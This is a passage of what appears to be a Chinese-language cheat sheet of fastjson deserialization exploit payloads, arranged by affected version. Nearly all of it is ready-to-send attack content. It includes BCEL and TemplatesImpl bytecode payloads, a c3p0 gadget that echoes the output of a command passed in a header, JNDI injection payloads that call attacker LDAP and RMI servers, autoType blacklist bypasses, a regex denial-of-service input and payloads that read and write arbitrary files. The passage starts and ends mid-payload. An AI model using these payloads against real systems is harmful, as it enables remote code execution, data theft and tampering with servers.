r$g$93$H$915$o$3c$e4$h$81$ffl$f90$a6$i$97B$5c$bb$8c$87$G$a1R$85$a9I$84$8e$e1$409$fd$cb$85$e04$ffS$u$dc$ea$LN$P$tQT$ceI1$t$r$9c$cc$b8$84$e9C$b8e$Q$b7$5c$86$w$a21$802$f2$n$83$e0$ad$3e$9e$nys$F$X8$$$s5C$c5P4$7b$84$8b$9b$x$92$985$80r$d1$cf$Z$c0l$d1$cf$h$401$d5$ba$8c$a9$83$d0$ae$x$oS$R$9f$abs$b7$absG$f0$f6a$ccO$a24X$96D$f91$u$c1$F$D$I$E$x$9ay$uX$99$SL$ca$94$d8K$a8j$a9$bc$80$ea$ad$c3XHU$93X$94$c4$e2$8asxQpI$Sw$q$b14$89$3b$x$93$b8$8b$df$b2$B$f8$9b$cf$96$97$f8w$ba8$J$a0$D$P$e0$m$fd$bf$I$P$e3Q$c6$40$f4G$f8$bfN$f4$t$Y$8b$Ri$a64$87$fb$5e$b4$k$e7$K0$9fQ$x$r$82$ca$Z$9f$F$a8$q$82$W$R$M$9b$88$96$ed$iu$e0$O$d8XJ$be$b5$e4$7c$t$fa$b1$8c$bc$ea$c9$fdn$i$c2$K$3c$c6$f1$R$ac$c4Q$ac$c2$T$i$9f$40$jN2$9b$9e$e4$f84$b3$u$c9$i$3a$cf$8c$Za$be$5ca$c6$5cE$8b4$9d$8f$d3$Zh$95f$oLm$da$a4$b9h$97$e6a$8bTAD$K$b4$ec$40$OeN$a2l$83$80$e8wQ$db$c9$d1$nwdrt$d4$j$ed$e2$e8$a4$3b$ea$e2$e8$K$a5vSB$We$94$o$82$dd$b4$92$Q$c2$k$Xsb$UE$Pq$u$d0W$8a$fc$m$fe$85$96$9d2b$fe$d52$acu2z$f9$ed$95$a7$cd$ac$93a$3f$87$b5$dc$Ba$u$Q$9a$93E$s$e0q$81$d2$f8$uJ$a5$7b$d8k$5c$eb$X$91$Xp$a8i$a9$bc$b8$d4$ef$5b$g$I$FB$feS0$xC$81$c55$d9E$d9$fe$qj$a5$g$b9H$a4$cbr$f6$b2$8b$94$bb$8fC$x$92K$86$b1b$A$d5E$f2$r$ac$e4$afF$vR$$$$$cd$f1$zUCj$u$e7$U$a6$V$v$nuqMnQ$ae$m$ecW$a5$81$e7$9f$rxj$94$fe$A$87$c7$vt$d5$d6$e6$cb$cf$3f$u$8a$c4$7cXt$dbhpW3$B$85$x$DL$e4$5b$99asi$ca$7c$ba$b4$9a$ae$ac$a1$T$eb$e94$83$O$8b$b0$b7h$abM$e78$a4$bd$X$7bq$lg$H9$T$c1XA$t$Y$fc$i$ba1$97$i$9a$5d$87$ca$e4$b9$Z$J$ec$e3$O$3d$80$3e$cf$c9$iyN$O$e0$7e$ecg$d8$b3$5cwWA$f97$C2$O$5cC$ae$8c$7b$r$e9$3fX$q$e3$3e$Z$af$b8$86$C$Z$x$r$e9$w$8a$Y$86$d8$3f$c1Q$60$d4$e9$7d$v$a7$xx$e5$f5$8a$3a$db$ad$q$M$E$abc$SuC$90$cf$8a$e0$ba$sg$bb$7b$K$dbW$b9$d5$fb$fe$ff$Ctz$ebem$R$A$A"
}
}: "x"
}

```

#### 1.2.33 <= fastjson <= 1.2.47

```java
POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: whoami
Content-Length: 3647

{
"xx":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
}
} : "xxx"
}
}

```

1.2.33<=fastjson<=12.36

```java
{
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL..."
}
} : "ddd"
}
}
```

1.2.37<=fastjson<=1.2.47

```java
{
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$..",

"$ref": "$.x.y.c.connection"
}
}
}
}
```

其他

```java
{
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"key": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driver": "$$BCEL$$xxxxxxx"
}
```

### TemplatesImpl

利用条件苛刻，可用于解决不出网利用。

需要调用`parseObject()`方法时，加入Feature.SupportNonPublicField参数。

_bytecodes要进行base64编码

```java
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
```

#### c3p0#WrapperConnectionPoolDataSource

可用于解决不出网利用。

fastjson <1.2.47

利用c3p0二次反序列化 cc payload到达回显。

```java
POST /json HTTP/1.1
Host: 127.0.0.1:8999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
cmd: dir
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 8925

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C008D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD01000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F6401000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```

### Fastjson 1.2.25-1.2.41

1.2.25后将TypeUtils.loadClass替换为checkAutoType()函数，增加了黑名单和白名单。

把autoTypeSupport默认为False。

当autoTypeSupport为False时，先黑名单过滤，再白名单过滤，若白名单匹配上则直接加载该类，否则报错。

当autoTypeSupport为True时，先白名单过滤，匹配成功即可加载该类，否则再黑名单过滤。

1.2.25黑名单

```java
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
```

exp

条件需要开启autotype

类名前面加了一个L，后面加一个;可以绕过黑名单

```java
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
```

### Fastjson 1.2.25-1.2.42

从1.2.42版本开始,把之前的明文黑名单，改为hash黑名单。

如下大佬整理的

https://github.com/LeadroyaL/fastjson-blacklist

exp

条件需要开启autotype

双写绕过

```java
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
```

### Fastjson 1.2.25-1.2.43

exp

条件需要开启autotype

加[{绕过

```java
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
```

### Fastjson 1.2.25-1.2.45

条件需要开启autotype

45把之前问题修了，但是可以借助第三方组件绕过。

需要mybatis，且版本需为3.x.x系列<3.5.0的版本。

```java
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}
```

### Fastjson1.2.25-1.2.47通杀

借助缓存进行通杀，缓存在1.2.48被改为默认关闭

漏洞原理是通过java.lang.Class，将JdbcRowSetImpl类加载到Map中缓存，从而绕过AutoType的检测

这里有两大版本范围：

- 1.2.25-1.2.32版本：未开启AutoTypeSupport时能成功利用，开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本：无论是否开启AutoTypeSupport，都能成功利用

poc:

```java
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
```

**1.2.48之后版本，小弟水平有限还未复现研究，payload需要注意的细节还未探索**

### Fastjson 1.2.36 - 1.2.62
正则表达式拒绝服务漏洞

```
{
"regex":{
"$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"
},
"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}
```
```
{
"regex":{
"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
},
"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}
```

### Fastjson1.2.5 <= 1.2.59

**需要开启AutoType**

```java
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
```

### Fastjson1.2.5 <= 1.2.60

**需开启 autoType：**

```shell
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
```

### Fastjson1.2.5 <= 1.2.61

```java
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}
```

### Fastjson <1.2.62

- 需要开启AutoType；
- Fastjson <= 1.2.62；
- JNDI注入利用所受的JDK版本限制；
- 目标服务端需要存在xbean-reflect包；

```java
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}

{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

```

### fastjson<=1.2.66

### 前提条件

- 开启AutoType；
- Fastjson <= 1.2.66；
- JNDI注入利用所受的JDK版本限制；
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包；
- br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包；
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包；

```java
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
```

适用于jdk11以上版本的写文件的payload：

```java
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
```

### fastjson<=1.2.67

### 前提条件

- 开启AutoType；
- Fastjson <= 1.2.67；
- JNDI注入利用所受的JDK版本限制；
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖；
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖；

```json
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

```

### fastjson<=1.2.68

- Fastjson <= 1.2.68；
- 利用类必须是expectClass类的子类或实现类，并且不在黑名单中；

```java
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

```

无需开启AutoType，直接成功绕过CheckAutoType()的检测从而触发执行：

```json
{"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"}
```

读文件

```json
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"D:/wamp64/www/win.txt"}
```

写文件
```json
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
"file": "/tmp/nonexist",
"append": "false"
}
```
```json
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileWriter",
"file": "/tmp/nonexist",
"append": "false"
}
```

写文件

```json
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "D:/wamp64/www/hacked.txt",
"tempPath": "D:/wamp64/www/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cHduZWQ=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
```

写文件

```java
{
'stream':
{
'@type':"java.lang.AutoCloseable",
'@type':'java.io.FileOutputStream',
'file':'/tmp/nonexist',
'append':false
},
'writer':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.apache.solr.common.util.FastOutputStream',
'tempBuffer':'SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=',
'sink':
{
'$ref':'$.stream'
},
'start':38
},
'close':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.iq80.snappy.SnappyOutputStream',
'out':
{
'$ref':'$.writer'
}
}
}
```

适用于jdk8/10的

```json
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "dst",
"append": "false"
},
"infl": {
"input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen": 1048576
},
"protocolVersion": 1
}
```
jdk 8
- position写入的长度，必须和base64编码前的长度一致。
```json
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "f:/pwn.txt",
"tempPath": ""
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "YjF1M3I=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
```

写文件,来自@W.K修改
```

//fastjson<=1.2.68 commons-io 2.0-2.6 commons-io ⼤于2.6时改⼏个参数名就⾏了
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
